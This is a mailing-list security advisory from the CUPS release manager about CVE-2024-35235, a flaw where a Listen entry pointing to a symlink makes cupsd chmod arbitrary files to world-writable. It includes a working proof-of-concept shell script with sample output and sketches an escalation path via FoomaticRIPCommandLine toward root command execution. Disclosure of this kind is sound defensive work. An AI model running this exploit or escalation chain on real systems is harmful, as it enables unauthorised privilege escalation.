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Date: Tue, 11 Jun 2024 16:07:27 +0200
From: Zdenek Dohnal <>
Subject: CVE-2024-35235 cups: Cupsd Listen arbitrary chmod 0140777

Hi all,

there is vulnerability CVE-2024-35235 in cups project:



When starting the cupsd server with a Listen configuration item pointing 
to a symbolic link, the cupsd process can be caused to perform an 
arbitrary chmod of the provided argument, providing world-writable 
access to the target.


This is an excerpt from a larger chain of vulnerabilities reported in 
Ubuntu 24.04. There is an assumption for exploitation that 
/etc/cups/cupsd.conf can be successfully edited (this has been omitted 
here as it is believed to be out of scope).

When setting up the bind for unix sockets configured in the Listen 
parameters of the configuration file, the code does not check for a 
successful call to |unlink| and |bind| prior to performing the call to 
|chmod|. [1]

On Ubuntu 24.04, by setting the Listen argument to a path such as 
|/tmp/stage/file|, where |file| is a symlink elsewhere in the system, 
the previous call to |unlink| for the path will fail due to AppArmor 
[2], and the subsequent call to |bind| will also fail due to the file 
still existing. The return value of the call to |bind| is not checked 
before the call to |chmod|, so a successfully planted symbolic link 
which causes the |bind| to fail will still be traversed by the call to 
|chmod| and the file permissions changed to be world writable.

On systems where the Ubuntu AppArmor policy is not in place, this 
vulnerability still exists but as a race condition between the call to 
|unlink| and the call to |bind|. A sufficiently fast attacker could 
place a symbolic link at the configured location after the call to 
|unlink|, causing the |bind| to fail once again and performing a 
successful |chmod|.

      Severity: Moderate - CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

The following script can be used for exploitation, sudo is used to 
emulate the above mentioned Listen configuration access.

set -e exploit()


     echo "Staging..."

     mkdir -m 777 /tmp/stage

     ln -s /etc/cups/cupsd.conf /tmp/stage/cupsd.conf

     # emulate configuration access to cupsd.conf

     echo 'Listen /tmp/stage/cupsd.conf' | sudo tee -a /etc/cups/cupsd.conf


     echo "Current permissions of cupsd.conf"

     ls -l /etc/cups/cupsd.conf

     tail -n1 /etc/cups/cupsd.conf || true

     echo echo "Restarting cupsd"

     sudo systemctl restart cups


     echo "New permissions of cupsd.conf"

     ls -l /etc/cups/cupsd.conf

     tail -n1 /etc/cups/cupsd.conf || true




     sudo sed -i '/Listen \/tmp\/stage\/cupsd.conf/d' /etc/cups/cupsd.conf

     sudo chmod 640 /etc/cups/cupsd.conf

     rm -rf /tmp/stage




Sample output can be seen below:


$ sh exploit


Listen /tmp/stage/cupsd.conf

Current permissions of cupsd.conf

-rw-r----- 1 root lp 4987 May 24 10:18 /etc/cups/cupsd.conf

tail: cannot open '/etc/cups/cupsd.conf' for reading: Permission denied

Restarting cupsd

New permissions of cupsd.conf

  -rwxrwxrwx 1 root lp 4987 May 24 10:18 /etc/cups/cupsd.conf

Listen /tmp/stage/cupsd.conf

$ sh cleanup



Given that cupsd is often running as root, this can result in the change 
of permission of any user or system files to be world writable.

Given the aforementioned Ubuntu AppArmor context, on such systems this 
vulnerability is limited to those files modifiable by the cupsd process. 
In that specific case it was found to be possible to turn the 
configuration of the Listen argument into full control over the 
cupsd.conf and cups-files.conf configuration files. By later setting the 
User and Group arguments in cups-files.conf, and printing with a printer 
configured by PPD with a |FoomaticRIPCommandLine| argument, arbitrary 
user and group (not root) command execution could be achieved, which can 
further be used on Ubuntu systems to achieve full root command execution.


For OpenPrinting CUPS community,

Zdenek Dohnal

CUPS 2.4.x release manager

Zdenek Dohnal
Senior Software Engineer

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